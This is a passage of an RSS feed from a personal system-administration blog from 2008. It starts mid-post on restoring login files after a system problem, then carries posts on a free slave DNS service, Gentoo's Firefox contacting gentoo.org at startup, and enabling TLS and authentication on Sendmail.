new,courier,monospace&quot;&gt;/etc/spwd.db&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After having these files restored, normal users were able to login in again &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/eek.png&quot; alt=&quot;:-O&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;There were also some other files modified, but by using diff and creating a patch file I was able to restore them very quick.&lt;/p&gt;&lt;p&gt;So lessons learned for me about this... is... make sure you&#039;ve backups, and do read the messages which pops up! &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 22 Dec 2008 07:32:51 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/253/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Free slave DNS server</title>
    <link>http://blog.adslweb.net/serendipity/article/246/Free-slave-DNS-server</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/246/Free-slave-DNS-server#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=246</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=246</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;br /&gt;
&lt;p&gt;Currently I own and maintain some domains. For these domains you need a DNS-server to make a proper translation from hostname to ip-adress.&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;blog.adslweb.net -&amp;gt; 80.126.215.23&lt;/font&gt;&lt;/p&gt;&lt;p&gt;But to keep redundancy it is smart to have some extra DNS-servers configured. So I setup a &#039;master&#039; DNS and a &#039;slave&#039; DNS, but both of them were connected to a server on a ADSL line... This might not be a big problem, but due to some problems recently, I preferred to have something somewhere else &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/normal.png&quot; alt=&quot;:-|&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;After some Google-ing, I found &lt;a target=&quot;_blank&quot; href=&quot;http://www.twisted4life.com/index.php&quot;&gt;Twisted4Life&lt;/a&gt;, if you create an account, they provide you for free a &#039;slave&#039; DNS. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Thu, 01 May 2008 20:54:54 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/246/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Gentoo Firefox phones home</title>
    <link>http://blog.adslweb.net/serendipity/article/243/Gentoo-Firefox-phones-home</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/243/Gentoo-Firefox-phones-home#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=243</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=243</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;br /&gt;
&lt;p&gt;Some while ago, I submitted a bug to the Gentoo Bug-trac. I had trouble with &lt;b&gt;Firefox 2.0.0.2&lt;/b&gt; when switching from non-proxy to a proxy-network.&lt;/p&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://bugs.gentoo.org/show_bug.cgi?id=169155&quot;&gt;http://bugs.gentoo.org/show_bug.cgi?id=169155&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I found that when starting firefox (note: not firefox-bin) the proces wants to connect to www.gentoo.org &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;Now someone found &lt;a target=&quot;_blank&quot; href=&quot;http://bugs.gentoo.org/show_bug.cgi?id=169155#27&quot;&gt;the issue&lt;/a&gt;:&lt;/p&gt;&lt;p /&gt;&lt;pre id=&quot;comment_text_27&quot;&gt;I have the same problem with mozilla-firefox-2.0.0.13.&lt;br /&gt;Firefox tries to connect to the page mentioned in&lt;br /&gt;/usr/lib/mozilla-firefox/defaults/pref/all-gentoo.js:&lt;br /&gt;pref(&amp;quot;browser.startup.homepage&amp;quot;,           &amp;quot;&lt;a href=&quot;http://www.gentoo.org/&quot;&gt;http://www.gentoo.org/&lt;/a&gt;&amp;quot;);&lt;br /&gt;If DNS or the page itself is unreachable firefox waits until the request&lt;br /&gt;timeouts.&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;I haven&#039;t test it yet... but it might solve the issue... &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 15 Apr 2008 09:24:33 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/243/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Sendmail with TLS and User-authentication</title>
    <link>http://blog.adslweb.net/serendipity/article/242/Sendmail-with-TLS-and-User-authentication</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>Snow</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/242/Sendmail-with-TLS-and-User-authentication#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=242</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=242</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;br /&gt;
&lt;p&gt;Yesterday evening I completed for 50% an entry from my wish-list regarding my servers. On the backup-MTA I now have TLS and authenication enabled on Sendmail &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;I wanted to have this enabled, because from my laptop I often setup an SSH-tunnel, but on other devices it wasn&#039;t really possible &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;After some Google-ing I found &lt;a href=&quot;http://www.technoids.org/starttlstut.html&quot; target=&quot;_blank&quot;&gt;this page&lt;/a&gt; which was really helpfull in setting the stuff up on sendmail. The next step is to use TLS between the MTA&#039;s I own and TLS between other parties who provide TLS on their MTA.&lt;/p&gt;&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Fri, 28 Mar 2008 19:25:06 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/242/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
